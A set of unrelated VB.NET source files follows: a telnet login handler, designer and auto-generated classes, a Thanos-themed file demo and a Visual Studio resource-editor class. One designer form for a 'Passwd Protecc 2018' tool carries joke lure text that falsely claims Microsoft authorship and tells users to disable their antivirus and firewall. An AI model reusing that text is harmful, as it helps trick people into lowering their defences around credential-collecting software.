(default: 0) ''' </summary> Public Property TimeToLogin As Integer ''' <summary> ''' Triggered when the connection has been made ''' </summary> ''' <param name="Shell">Reference to the shell</param> ''' <param name="RemoteAddress">Hostname of the user</param> ''' <param name="Time">Timestamp of the event</param> Private Sub _Shell_OnConnected(Shell As Programs.ShellCore, RemoteAddress As String, Time As Date) ' Resets the current login Me._Authorized = False Me._Username = "" ' Adds the timer to check for a login timeout If Me.TimeToLogin > 0 Then Dim t = New Timer(AddressOf Me._LoginTimedout, Nothing, Me.TimeToLogin * 1000, 0) End If For i As Integer = 0 To Me.Retries - 1 ' Asks for the username Shell.Telnetserver.Print("Username: ", True) Dim Username As String = Shell.Telnetserver.Input().Trim() If Username = "" Then Continue For ' Asks for the password (with echoing disabled!) Shell.Telnetserver.Print("Password: ", True) Shell.Telnetserver.EchoEnabled = False Dim Password As String = Shell.Telnetserver.Input().Trim() Shell.Telnetserver.EchoEnabled = True Shell.Telnetserver.Print("") ' Verifies the details Dim IsAuthorized As Boolean = False RaiseEvent OnAuthorize(Me._Shell, Username, Password, RemoteAddress, IsAuthorized) If IsAuthorized Then Me._Username = Username Me._Authorized = True Exit Sub End If Shell.Telnetserver.Print("Username and/or password incorrect", False, True) Shell.Telnetserver.Print("") Next ' No valid login has been given Shell.Telnetserver.Print("Closing the connection") Thread.Sleep(100) Shell.Telnetserver.Close() End Sub ''' <summary> ''' Triggered when a command has been given ''' </summary> ''' <param name="Shell">Reference to the shell</param> ''' <param name="Arguments">Command line arguments</param> ''' <param name="SuspressError">Set to 'true' if you could do anything with the command</param> ''' <param name="Time">Current timestamp</param> Private Sub _Shell_OnCommandReceived(Shell As ShellCore, Arguments() As String, ByRef SuspressError As Boolean, Time As DateTime) If Arguments(0).ToUpper() = "WHOAMI" Then Shell.Telnetserver.Print("Logged in as " + Me._Username) SuspressError = True ElseIf Arguments(0).ToUpper() = "HELP" Then If Arguments.Length = 1 Then Shell.Telnetserver.Print("WHOAMI Returns the current username") SuspressError = True ElseIf Arguments(1) = "WHOAMI" Then Shell.Telnetserver.Print("WHOAMI Returns the current username") SuspressError = True End If End If End Sub ''' <summary> ''' Triggered after this.TimeToLogin seconds to optionally close a connection ''' </summary> ''' <param name="Param"></param> Private Sub _LoginTimedout(Param As Object) If Me._Authorized Then Exit Sub Me._Shell.Telnetserver.Print("", False, True) Me._Shell.Telnetserver.Print("Login timeout") Thread.Sleep(100) Me._Shell.Telnetserver.Close() End Sub ''' <summary> ''' Asks if a user is authorized ''' </summary> Public Event OnAuthorize As IsAuthorized ''' <summary> ''' Asks if a user is authorized ''' </summary> ''' <param name="Shell">Reference to the shell</param> ''' <param name="Username">The username</param> ''' <param name="Password">The password</param> ''' <param name="RemoteAddress">The remote host address</param> ''' <param name="IsAuthorized">Return true if authorization is successfull</param> Public Delegate Sub IsAuthorized(Shell As ShellCore, Username As String, Password As String, RemoteAddress As String, ByRef IsAuthorized As Boolean) End Class End Namespace
Imports System Imports System.Reflection Imports System.Runtime.InteropServices ' General Information about an assembly is controlled through the following ' set of attributes. Change these attribute values to modify the information ' associated with an assembly. ' Review the values of the assembly attributes <Assembly: AssemblyTitle("EyeProtection")> <Assembly: AssemblyDescription("Protect Your Eyes")> <Assembly: AssemblyCompany("S4Lsalsoft")> <Assembly: AssemblyProduct("EyeProtection")> <Assembly: AssemblyCopyright("Copyright © 2021")> <Assembly: AssemblyTrademark("")> <Assembly: ComVisible(False)> 'The following GUID is for the ID of the typelib if this project is exposed to COM <Assembly: Guid("cdf9bcbc-a487-4c83-8ed3-1ecc84275303")> ' Version information for an assembly consists of the following four values: ' ' Major Version ' Minor Version ' Build Number ' Revision ' ' You can specify all the values or you can default the Build and Revision Numbers ' by using the '*' as shown below: ' <Assembly: AssemblyVersion("1.0.*")> <Assembly: AssemblyVersion("1.0.0.0")> <Assembly: AssemblyFileVersion("1.0.0.0")>
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _ Partial Class Form1 Inherits System.Windows.Forms.Form 'Form overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Me.TabControl1 = New System.Windows.Forms.TabControl() Me.TabPage1 = New System.Windows.Forms.TabPage() Me.TabPage2 = New System.Windows.Forms.TabPage() Me.Label1 = New System.Windows.Forms.Label() Me.Label2 = New System.Windows.Forms.Label() Me.Label3 = New System.Windows.Forms.Label() Me.Label4 = New System.Windows.Forms.Label() Me.Label5 = New System.Windows.Forms.Label() Me.Label6 = New System.Windows.Forms.Label() Me.Button1 = New System.Windows.Forms.Button() Me.Label7 = New System.Windows.Forms.Label() Me.Label8 = New System.Windows.Forms.Label() Me.TextBox1 = New System.Windows.Forms.TextBox() Me.TextBox2 = New System.Windows.Forms.TextBox() Me.Button2 = New System.Windows.Forms.Button() Me.TabControl1.SuspendLayout() Me.TabPage1.SuspendLayout() Me.TabPage2.SuspendLayout() Me.SuspendLayout() ' 'TabControl1 ' Me.TabControl1.Controls.Add(Me.TabPage1) Me.TabControl1.Controls.Add(Me.TabPage2) Me.TabControl1.Location = New System.Drawing.Point(0, -26) Me.TabControl1.Name = "TabControl1" Me.TabControl1.SelectedIndex = 0 Me.TabControl1.Size = New System.Drawing.Size(341, 375) Me.TabControl1.TabIndex = 0 ' 'TabPage1 ' Me.TabPage1.Controls.Add(Me.Button1) Me.TabPage1.Controls.Add(Me.Label6) Me.TabPage1.Controls.Add(Me.Label5) Me.TabPage1.Controls.Add(Me.Label4) Me.TabPage1.Controls.Add(Me.Label3) Me.TabPage1.Controls.Add(Me.Label2) Me.TabPage1.Controls.Add(Me.Label1) Me.TabPage1.Location = New System.Drawing.Point(4, 25) Me.TabPage1.Name = "TabPage1" Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) Me.TabPage1.Size = New System.Drawing.Size(333, 346) Me.TabPage1.TabIndex = 0 Me.TabPage1.Text = "TabPage1" Me.TabPage1.UseVisualStyleBackColor = True ' 'TabPage2 ' Me.TabPage2.Controls.Add(Me.Button2) Me.TabPage2.Controls.Add(Me.TextBox2) Me.TabPage2.Controls.Add(Me.TextBox1) Me.TabPage2.Controls.Add(Me.Label8) Me.TabPage2.Controls.Add(Me.Label7) Me.TabPage2.Location = New System.Drawing.Point(4, 25) Me.TabPage2.Name = "TabPage2" Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) Me.TabPage2.Size = New System.Drawing.Size(333, 319) Me.TabPage2.TabIndex = 1 Me.TabPage2.Text = "TabPage2" Me.TabPage2.UseVisualStyleBackColor = True ' 'Label1 ' Me.Label1.AutoSize = True Me.Label1.Font = New System.Drawing.Font("Microsoft Sans Serif", 7.0!) Me.Label1.Location = New System.Drawing.Point(17, 14) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(297, 15) Me.Label1.TabIndex = 0 Me.Label1.Text = "Developed by Microsoft in collaboration with Brazzers" ' 'Label2 ' Me.Label2.AutoSize = True Me.Label2.Location = New System.Drawing.Point(8, 59) Me.Label2.Name = "Label2" Me.Label2.Size = New System.Drawing.Size(142, 17) Me.Label2.TabIndex = 1 Me.Label2.Text = "This tool wroks 100%" ' 'Label3 ' Me.Label3.AutoSize = True Me.Label3.Location = New System.Drawing.Point(8, 76) Me.Label3.Name = "Label3" Me.Label3.Size = New System.Drawing.Size(300, 17) Me.Label3.TabIndex = 2 Me.Label3.Text = "If u tird of remebering passwords this tool for u" ' 'Label4 ' Me.Label4.AutoSize = True Me.Label4.Font = New System.Drawing.Font("Microsoft Sans Serif", 6.0!) Me.Label4.Location = New System.Drawing.Point(8, 107) Me.Label4.Name = "Label4" Me.Label4.Size = New System.Drawing.Size(326, 13) Me.Label4.TabIndex = 3 Me.Label4.Text = "Ur passwds r never saved in plain txet, they ncryptd w the lastet 420" ' 'Label5 ' Me.Label5.AutoSize = True Me.Label5.Font = New System.Drawing.Font("Microsoft Sans Serif", 6.0!) Me.Label5.Location = New System.Drawing.Point(8, 120) Me.Label5.Name = "Label5" Me.Label5.Size = New System.Drawing.Size(61, 13) Me.Label5.TabIndex = 4 Me.Label5.Text = "bit ncrypton" ' 'Label6 ' Me.Label6.AutoSize = True Me.Label6.Location = New System.Drawing.Point(4, 178) Me.Label6.Name = "Label6" Me.Label6.Size = New System.Drawing.Size(323, 17) Me.Label6.TabIndex = 5 Me.Label6.Text = "Pls disabl ur antivrius n firwall to maek sure it work" ' 'Button1 ' Me.Button1.Location = New System.Drawing.Point(94, 237) Me.Button1.Name = "Button1" Me.Button1.Size = New System.Drawing.Size(135, 40) Me.Button1.TabIndex = 6 Me.Button1.Text = "Button1" Me.Button1.UseVisualStyleBackColor = True ' 'Label7 ' Me.Label7.AutoSize = True Me.Label7.Location = New System.Drawing.Point(87, 45) Me.Label7.Name = "Label7" Me.Label7.Size = New System.Drawing.Size(73, 17) Me.Label7.TabIndex = 0 Me.Label7.Text = "Username" ' 'Label8 ' Me.Label8.AutoSize = True Me.Label8.Location = New System.Drawing.Point(87, 126) Me.Label8.Name = "Label8" Me.Label8.Size = New System.Drawing.Size(69, 17) Me.Label8.TabIndex = 1 Me.Label8.Text = "Password" ' 'TextBox1 ' Me.TextBox1.Location = New System.Drawing.Point(90, 65) Me.TextBox1.Name = "TextBox1" Me.TextBox1.Size = New System.Drawing.Size(100, 22) Me.TextBox1.TabIndex = 2 ' 'TextBox2 ' Me.TextBox2.Location = New System.Drawing.Point(90, 146) Me.TextBox2.Name = "TextBox2" Me.TextBox2.Size = New System.Drawing.Size(100, 22) Me.TextBox2.TabIndex = 3 ' 'Button2 ' Me.Button2.Location = New System.Drawing.Point(90, 196) Me.Button2.Name = "Button2" Me.Button2.Size = New System.Drawing.Size(75, 23) Me.Button2.TabIndex = 4 Me.Button2.Text = "Saev" Me.Button2.UseVisualStyleBackColor = True ' 'Form1 ' Me.AutoScaleDimensions = New System.Drawing.SizeF(8.0!, 16.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.ClientSize = New System.Drawing.Size(343, 350) Me.Controls.Add(Me.TabControl1) Me.Name = "Form1" Me.ShowIcon = False Me.Text = "Passwd Protecc 2018" Me.TabControl1.ResumeLayout(False) Me.TabPage1.ResumeLayout(False) Me.TabPage1.PerformLayout() Me.TabPage2.ResumeLayout(False) Me.TabPage2.PerformLayout() Me.ResumeLayout(False) End Sub Friend WithEvents TabControl1 As System.Windows.Forms.TabControl Friend WithEvents TabPage1 As System.Windows.Forms.TabPage Friend WithEvents TabPage2 As System.Windows.Forms.TabPage Friend WithEvents Label1 As System.Windows.Forms.Label Friend WithEvents Button1 As System.Windows.Forms.Button Friend WithEvents Label6 As System.Windows.Forms.Label Friend WithEvents Label5 As System.Windows.Forms.Label Friend WithEvents Label4 As System.Windows.Forms.Label Friend WithEvents Label3 As System.Windows.Forms.Label Friend WithEvents Label2 As System.Windows.Forms.Label Friend WithEvents TextBox2 As System.Windows.Forms.TextBox Friend WithEvents TextBox1 As System.Windows.Forms.TextBox Friend WithEvents Label8 As System.Windows.Forms.Label Friend WithEvents Label7 As System.Windows.Forms.Label Friend WithEvents Button2 As System.Windows.Forms.Button End Class
Imports System.IO Imports Thanos Imports Thanos.Stones Module Program Sub Main(args As String()) ' Setup Dim dir As DirectoryInfo = Directory.CreateDirectory("earth") For index As Integer = 1 to 10 File.Create(Path.Combine(dir.FullName, $"{index}.txt")).Close() Next ' A new mad titan called Thanos. Dim thanos As New MadTitan ' Forge a new Infinity Gauntlet. Dim gauntlet As New InfinityGauntlet ' Give Thanos the gauntlet ' You may choose to add the stones then give Thanos the gauntlet. ' The most important thing is that everything is in place before calling Snap() thanos.Give(gauntlet) ' Add the Infinity Stones. gauntlet.Add(New SpaceStone) gauntlet.Add(New MindStone) gauntlet.Add(New RealityStone) gauntlet.Add(New PowerStone) gauntlet.Add(New TimeStone) gauntlet.Add(New SoulStone) ' The Snappening ' This won't work if Thanos doesn't have a gauntlet or all the stones. thanos.Snap(dir.FullName) End Sub End Module
'------------------------------------------------------------------------------ ' <auto-generated> ' Il codice è stato generato da uno strumento. ' Versione runtime:4.0.30319.42000 ' ' Le modifiche apportate a questo file possono provocare un comportamento non corretto e andranno perse se ' il codice viene rigenerato. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict On Option Explicit On Namespace My <Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _ Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0"), _ Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Partial Friend NotInheritable Class MySettings Inherits Global.System.Configuration.ApplicationSettingsBase Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) #Region "Funzionalità di salvataggio automatico My.Settings" #If _MyType = "WindowsForms" Then Private Shared addedHandler As Boolean Private Shared addedHandlerLockObject As New Object <Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) If My.Application.SaveMySettingsOnExit Then My.Settings.Save() End If End Sub #End If #End Region Public Shared ReadOnly Property [Default]() As MySettings Get #If _MyType = "WindowsForms" Then If Not addedHandler Then SyncLock addedHandlerLockObject If Not addedHandler Then AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings addedHandler = True End If End SyncLock End If #End If Return defaultInstance End Get End Property End Class End Namespace Namespace My <Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _ Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _ Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _ Friend Module MySettingsProperty <Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _ Friend ReadOnly Property Settings() As Global.DML.My.MySettings Get Return Global.DML.My.MySettings.Default End Get End Property End Module End Namespace
Imports System Imports System.Drawing Imports System.Collections Imports System.ComponentModel Imports System.Windows.Forms Imports System.Diagnostics Imports AnimatGuiCtrls.Controls Imports AnimatGUI.Framework Namespace Forms.Tools Public Class CompareItems Inherits Forms.AnimatDialog #Region " Windows Form Designer generated code " Public Sub New() MyBase.New() 'This call is required by the Windows Form Designer. InitializeComponent() 'Add any initialization after the InitializeComponent() call End Sub 'Form overrides dispose to clean up the component list. Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean) If disposing Then If Not (components Is Nothing) Then components.Dispose() End If End If MyBase.Dispose(disposing) End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. Friend WithEvents pnlGrids As System.Windows.Forms.Panel Friend WithEvents lvSelectedItems As System.Windows.Forms.ListView Friend WithEvents chName As System.Windows.Forms.ColumnHeader <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent() Me.pnlGrids = New System.Windows.Forms.Panel Me.lvSelectedItems = New System.Windows.Forms.ListView Me.chName = New System.Windows.Forms.ColumnHeader Me.SuspendLayout() ' 'pnlGrids ' Me.pnlGrids.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.pnlGrids.AutoScroll = True Me.pnlGrids.BackColor = System.Drawing.SystemColors.Control Me.pnlGrids.Location = New System.Drawing.Point(160, 32) Me.pnlGrids.Name = "pnlGrids" Me.pnlGrids.Size = New System.Drawing.Size(480, 392) Me.pnlGrids.TabIndex = 0 ' 'lvSelectedItems ' Me.lvSelectedItems.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.chName}) Me.lvSelectedItems.FullRowSelect = True Me.lvSelectedItems.HideSelection = False Me.lvSelectedItems.Location = New System.Drawing.Point(8, 40) Me.lvSelectedItems.Name = "lvSelectedItems" Me.lvSelectedItems.Size = New System.Drawing.Size(136, 320) Me.lvSelectedItems.TabIndex = 1 Me.lvSelectedItems.View = System.Windows.Forms.View.Details ' 'chName ' Me.chName.Text = "Selected Items" Me.chName.Width = 150 ' 'CompareItems ' Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13) Me.ClientSize = New System.Drawing.Size(640, 437) Me.Controls.Add(Me.lvSelectedItems) Me.Controls.Add(Me.pnlGrids) Me.Name = "CompareItems" Me.Text = "CompareItems" Me.ResumeLayout(False) End Sub #End Region #Region " Attributes " Protected m_doPhysicalStructure As AnimatGUI.DataObjects.Physical.PhysicalStructure Protected m_arySelectedItems As New AnimatGUI.Collections.DataObjects(Nothing) #End Region #Region " Properties " Public Property PhysicalStructure() As AnimatGUI.DataObjects.Physical.PhysicalStructure Get Return m_doPhysicalStructure End Get Set(ByVal Value As AnimatGUI.DataObjects.Physical.PhysicalStructure) m_doPhysicalStructure = Value End Set End Property Public Property SelectedItems() As AnimatGUI.Collections.DataObjects Get Return m_arySelectedItems End Get Set(ByVal Value As AnimatGUI.Collections.DataObjects) m_arySelectedItems = Value End Set End Property #End Region #Region " Methods " Public Sub VerifyItemType() Dim tpTemplate As Type For Each doItem As AnimatGUI.Framework.DataObject In m_arySelectedItems If tpTemplate Is Nothing Then tpTemplate = doItem.GetType() Else If Not Util.IsTypeOf(doItem.GetType, tpTemplate, False) Then Throw New System.Exception("The object types for the selected items are not all the same. You can only compare similar items. Item '" & doItem.Name & "' is different than the other items.") End If End If Next End Sub #End Region #Region " Events " Protected Overrides Sub OnLoad(ByVal e As System.EventArgs) MyBase.OnLoad(e) Try Dim iX As Integer = 0 For Each doItem As AnimatGUI.Framework.DataObject In m_arySelectedItems Dim ctrlGrid As New PropertyGrid ctrlGrid.Location = New Point(iX, 0) ctrlGrid.Size = New Size(300, Me.Height - 10) ctrlGrid.Anchor = AnchorStyles.Top Or AnchorStyles.Left Or AnchorStyles.Bottom ctrlGrid.SelectedObject = doItem.Properties Me.pnlGrids.Controls.Add(ctrlGrid) iX = iX + 300 Next For Each doItem As AnimatGUI.Framework.DataObject In m_arySelectedItems Dim liItem As New ListViewItem liItem.Text = doItem.Name liItem.Tag = doItem lvSelectedItems.Items.Add(liItem) Next Catch ex As System.Exception AnimatGUI.Framework.Util.DisplayError(ex) End Try End Sub #End Region End Class End Namespace
' Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Option Explicit On Option Strict On Option Compare Binary Imports System.Drawing Imports System.IO Imports Microsoft.VisualStudio.Imaging Namespace Microsoft.VisualStudio.Editors.ResourceEditor Friend NotInheritable Class ResourceTypeEditorTextFile Inherits ResourceTypeEditorFileBase 'The resource value type that is used for text files Friend Shared ReadOnly TextFileValueType As System.Type = GetType(String) 'All common file extensions handled by this resource type editor. ' This is just a suggested list of files likely to be intended as text files. ' If the user doesn't like these showing up as text files, he can always change ' it to a binary file from the properties window. Public Const EXT_TXT As String = ".txt" Private _safeExtensions() As String = { EXT_TXT, ".text", ".rtf", ".xml" } Private _allExtensions() As String = { ".asa", ".asax", ".ascx", ".asm", ".asmx", ".asp", ".aspx", ".bas", ".bat", ".c", ".cc", ".cmd", ".cod", ".cpp", ".cls", ".config", ".cs", ".csproj", ".css", ".csv", ".ctl", ".cxx", ".dbs", ".def", ".dic", ".disco", ".diz", ".dob", ".dsp", ".dsr", ".dsw", ".dtd", ".etp", ".ext", ".fky", ".frm", ".h", ".hpp", ".hta", ".htc", ".htm", ".html", ".htt", ".hxx", ".i", ".idl", ".inc", ".inf", ".ini", ".inl", ".java", ".js", ".jsl", ".kci", ".lgn", ".log", ".lst", ".mak", ".map", ".me", ".mk", ".nvr", ".odh", ".odl", ".org", ".pag", ".pl", ".plg", ".prc", ".rc", ".rc2", ".rct", ".readme", ".reg", ".resx", ".rgs", ".rul", ".rtf", ".s", ".sct", ".settings", ".shtm", ".shtml", ".sql", ".srf", ".stm", ".tab", ".tdl", ".text", ".tlh", ".tli", ".trg", EXT_TXT, ".udf", ".user", ".usr", ".vap", ".vb", ".vbproj", ".vbs", ".vbsnippet", ".vcproj", ".vspscc", ".vsscc", ".vssdb", ".vssscc", ".viw", ".vjp", ".vjsproj", ".vsdisco", ".vssetings", ".wsf", ".wtx", ".xdr", ".xaml", ".xml", ".xmlproj", ".wsc", ".xsd", ".xsl", ".xslt" } 'The shared Thumbnail Image Private Shared s_thumbnailForTextFile As Image ''' <summary> ''' Whether all valid items share a same image ''' </summary> ''' <returns>true or false</returns> ''' <remarks> ''' If true, the GetImageForThumbnail property must return a same image object. We won't keep duplicated items in the cache to improve the performance of the designer. ''' </remarks> Public Overrides ReadOnly Property IsImageForThumbnailShared() As Boolean Get Return True End Get End Property ''' <summary> ''' Gets the type name of the main resource type that this resource type editor handles ''' </summary> ''' <param name="ResourceContentFile">The resource file contains the resource.</param> ''' <returns>The type name handled by this resource type editor.</returns> ''' <remarks>A single resource type editor may only handle a single resource type, with ''' the exception of the string type editors (in particular, ''' ResourceTypeEditorNonStringConvertible and ResourceTypeEditorStringConvertible). ''' Because the resource file in different platform doesn't support all types, we should pick up the right type for the platform it targets. ''' </remarks> Public Overrides Function GetDefaultResourceTypeName(ByVal ResourceContentFile As IResourceContentFile) As String Return TextFileValueType.AssemblyQualifiedName End Function ''' <summary> ''' Returns an image for displaying to the user for this resource. ''' </summary> ''' <param name="Resource">The IResource instance. May not be Nothing. The value of the resource to save. Must be of the type handled by this ResourceTypeEditor.</param> ''' <param name="background">The background color for this thumbnail</param> ''' <returns>An image to use as the basis of creating a thumbnail for this resource</returns> ''' <remarks> ''' For files, we have exactly two thumbnails - one for text files, one for binary files ''' </remarks> Public Overrides Function GetImageForThumbnail(ByVal Resource As IResource, background As Color) As Image ValidateResourceValue(Resource, TextFileValueType) If s_thumbnailForTextFile Is Nothing Then s_thumbnailForTextFile = Common.GetImageFromImageService(KnownMonikers.TextFile, 48, 48, background) End If Return s_thumbnailForTextFile End Function ''' <summary> ''' Returns whether a given file extension can be handled by this resource type editor, and at what ''' priority. ''' </summary> ''' <param name="Extension">The file extension to check, including the dot (e.g., ".bmp")</param> ''' <returns>A positive integer if this extension can be handled. The value indicates what priority ''' should be given to this resource editor. The higher the value, the higher the priority. ''' </returns> ''' <remarks>Extension should be checked case-insensitively.</remarks> Public Overrides Function GetExtensionPriority(ByVal Extension As String) As Integer If MatchAgainstListOfExtensions(Extension, _allExtensions) Then Return ExtensionPriorities.Low End If End Function ''' <summary> ''' Gets a friendly description to display to the user that indicates the type of a ''' particular resource. E.g., "BMP Image". ''' </summary> ''' <param name="Resource">The IResource instance. May not be Nothing. The value of the resource to save. Must be of the type handled by this ResourceTypeEditor.</param> ''' <returns>The friendly description of the resource's type.</returns> ''' <remarks></remarks> Public Overrides Function GetResourceFriendlyTypeDescription(ByVal Resource As IResource) As String ValidateResourceValue(Resource, TextFileValueType) Debug.Assert(Resource.IsLink) Return SR.GetString(SR.RSE_Type_TextFile) End Function ''' <summary> ''' Gets a friendly size to display to the user for this particular resource. E.g., "240 x 160". ''' </summary> ''' <param name="Resource">The IResource instance. May not be Nothing. The value of the resource to save. Must be of the type handled by this ResourceTypeEditor.</param> ''' <returns>The friendly size string.</returns> ''' <remarks></remarks> Public Overrides Function GetResourceFriendlySize(ByVal Resource As IResource) As String ValidateResourceValue(Resource, TextFileValueType) Debug.Assert(Resource.IsLink) Debug.Assert(Resource.GetValueType.Equals(TextFileValueType)) Debug.Assert(TextFileValueType.Equals(GetType(String)), "Type of text files has changed?") Return GetLinkedResourceFriendlySize(Resource) End Function ''' <summary> ''' Gets the proper file extension to use for a particular resource. The extension returned ''' may be different for different resources using the same ResourceTypeEditor. For example, ''' both BMP and JPG images uses the same type editor, but the extension for the individual ''' resources is different. ''' </summary> ''' <param name="Resource">The IResource instance. May not be Nothing. The value of the resource to save. Must be of the type handled by this ResourceTypeEditor.</param> ''' <returns>The file extension to use for this resource value, if anything, including the ''' period. E.g. ".bmp". Returns Nothing or an empty string if this is not applicable for ''' this resource.</returns> ''' <remarks>The default implementation returns Nothing.</remarks> Public Overrides Function GetResourceFileExtension(ByVal Resource As IResource) As String ValidateResourceValue(Resource, TextFileValueType) Return EXT_TXT End Function ''' <summary> ''' Returns a list of extensions. If the file matched one of them, it should be safe to open the file in VS. Otherwise, it could ''' be a harmful operation to open the file if it comes from someone else. For example, the resource file could link to a file containing script. ''' The resource designer could open the file in an external editor, which could run the script, and do harmful things on the dev machine. ''' </summary> ''' <returns> a file extension list ''' </returns> Public Overrides Function GetSafeFileExtensionList() As String() Return _safeExtensions End Function ''' <summary> ''' Gets a filter string for use with a file open dialog. That filter should contain all commonly-supported ''' extensions handled by this resource type editor (but does not have to necessarily include all of ''' them). ''' </summary> ''' <param name="ResourceContentFile">The resource file contains the resource.</param> ''' <returns>The filter string.</returns> ''' <remarks> ''' An example filter string: ''' ''' "Metafiles (*.wmf, *.emf)|*.wmf;*.emf" ''' </remarks> Public Overrides Function GetOpenFileDialogFilter(ByVal ResourceContentFile As IResourceContentFile) As String 'Too many text file extensions to show them all. Just use *.txt Return CreateSingleDialogFilter(SR.GetString(SR.RSE_Filter_Text), New String() {EXT_TXT}) End Function ''' <summary> ''' Gets a filter string for use with a file save dialog. That filter should contain all commonly-supported ''' extensions handled by this resource type editor (but does not have to necessarily include all of ''' them). ''' </summary> ''' <returns>The filter string.</returns> ''' <remarks> ''' An example filter string: ''' ''' "Windows metafile (*.wmf, *.emf)|*.wmf;*.emf" ''' </remarks> Public Overrides Function GetSaveFileDialogFilter(ByVal Extension As String) As String 'Too many text file extensions to show them all. Just use *.txt Return CreateSingleDialogFilter(SR.GetString(SR.RSE_Filter_Text), New String() {EXT_TXT}) End Function ''' <summary> ''' Creates a new resource of the type handled by this ResourceTypeEditor at the file path ''' specified. ''' </summary> ''' <param name="FilePath">File path and name of the file to save the new resource into.</param> ''' <remarks> ''' If this ResourceTypeEditor handles different resource types, it should inspect the ''' file extension to determine which type of resource to create (e.g., .bmp vs .jpg). It might ''' find any unexpected extension, in which case it should save to its default format. ''' This function need not be implemented if CanSaveResourceToFile() is implemented to return False. ''' Caller is responsible for handling exceptions. ''' </remarks> Public Overrides Sub CreateNewResourceFile(ByVal FilePath As String) 'For text files, all we need to do is create a blank one (Ansi). Dim Stream As FileStream = File.Create(FilePath) Stream.Close() End Sub ''' <summary> ''' Gets the prefix that is used for suggesting resource names to the user. For instance, ''' if this function returns "id", then as the user asks to create a new resource ''' handled by this resource type editor, the suggested names could take the form ''' of "id01", "id02", etc. ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Public Overrides Function GetSuggestedNamePrefix() As String Return "TextFile" End Function End Class End Namespace
'------------------------------------------------------------------------------ ' <auto-generated> ' This code was generated by a tool. ' Runtime Version:4.0.30319.42000 ' ' Changes to this file may cause incorrect behavior and will be lost if ' the code is regenerated. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict On Option Explicit On Imports System Namespace My.Resources 'This class was auto-generated by the StronglyTypedResourceBuilder 'class via a tool like ResGen or Visual Studio. 'To add or remove a member, edit your .ResX file then rerun ResGen 'with the /str option, or rebuild your VS project. '''<summary> ''' A strongly-typed resource class, for looking up localized strings, etc. '''</summary> <Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _ Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _ Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _ Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _ Friend Module Resources Private resourceMan As Global.System.Resources.ResourceManager Private resourceCulture As Global.System.Globalization.CultureInfo '''<summary> ''' Returns the cached ResourceManager instance used by this class. '''</summary> <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager Get If Object.ReferenceEquals(resourceMan, Nothing) Then Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("D7Automation.Resources", GetType(Resources).Assembly) resourceMan = temp End If Return resourceMan End Get End Property '''<summary> ''' Overrides the current thread's CurrentUICulture property for all ''' resource lookups using this strongly typed resource class. '''</summary> <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Friend Property Culture() As Global.System.Globalization.CultureInfo Get Return resourceCulture End Get Set resourceCulture = value End Set End Property End Module End Namespace
